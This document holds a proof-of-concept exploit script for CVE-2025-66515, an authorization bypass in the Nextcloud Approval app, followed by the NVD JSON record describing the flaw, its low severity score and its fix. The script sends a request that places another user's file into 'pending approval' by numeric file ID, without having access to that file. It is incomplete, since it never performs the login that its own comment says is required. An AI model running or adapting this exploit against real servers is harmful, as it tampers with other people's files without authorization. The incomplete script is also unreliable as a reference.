CVE-2025-66515

# CVE-2025-66515 PoC - Nextcloud Approval权限绕过 # Affected versions: < 1.3.1 and < 2.5.0 import requests # Configuration NEXTCLOUD_URL = "https://vulnerable-server.com" TARGET_FILE_ID = 123456789 # Numeric file ID of victim's file USERNAME = "[email protected]" PASSWORD = "attacker_password" # Authenticate session = requests.Session() login_url = f"{NEXTCLOUD_URL}/login" # Note: Actual login flow may vary based on Nextcloud configuration # Set file to pending approval without file access api_url = f"{NEXTCLOUD_URL}/apps/approval/api/v1/approval/set" payload = { "fileId": TARGET_FILE_ID, "status": "pending" } # Send request (requires authenticated session) response = session.post(api_url, json=payload) if response.status_code == 200: print("[+] Successfully set file to pending approval without file access!") print(f"[+] File ID: {TARGET_FILE_ID}") else: print(f"[-] Failed: {response.status_code} - {response.text}")

{"cve": {"id": "CVE-2025-66515", "sourceIdentifier": "[email protected]", "published": "2025-12-05T18:15:57.623", "lastModified": "2025-12-09T17:22:18.077", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Nextcloud Approval app allows approval or disapproval of files in the sidebar. Prior to 1.3.1 and 2.5.0, an authenticated user listed as a requester in a workflow can set another user’s file into the “pending approval” without access to the file by using the numeric file id. This vulnerability is fixed in 1.3.1 and 2.5.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nextcloud:approval:*:*:*:*:*:nextcloud:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.3.1", "matchCriteriaId": "37339E72-6EB5-4D2D-82E4-EB81C9FC8E39"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nextcloud:approval:*:*:*:*:*:nextcloud:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.5.0", "matchCriteriaId": "558060E7-4BE3-4E6F-93FD-4CF3584CDE96"}]}]}], "references": [{"url": "https://github.com/nextcloud/approval/commit/e30b56b7832255311ac800b7875f44866e88fff4", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nextcloud/approval/pull/334", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/nextcloud/security-advisories/security/advisories/GHSA-q26g-fmjq-x5g5", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://hackerone.com/reports/3338748", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}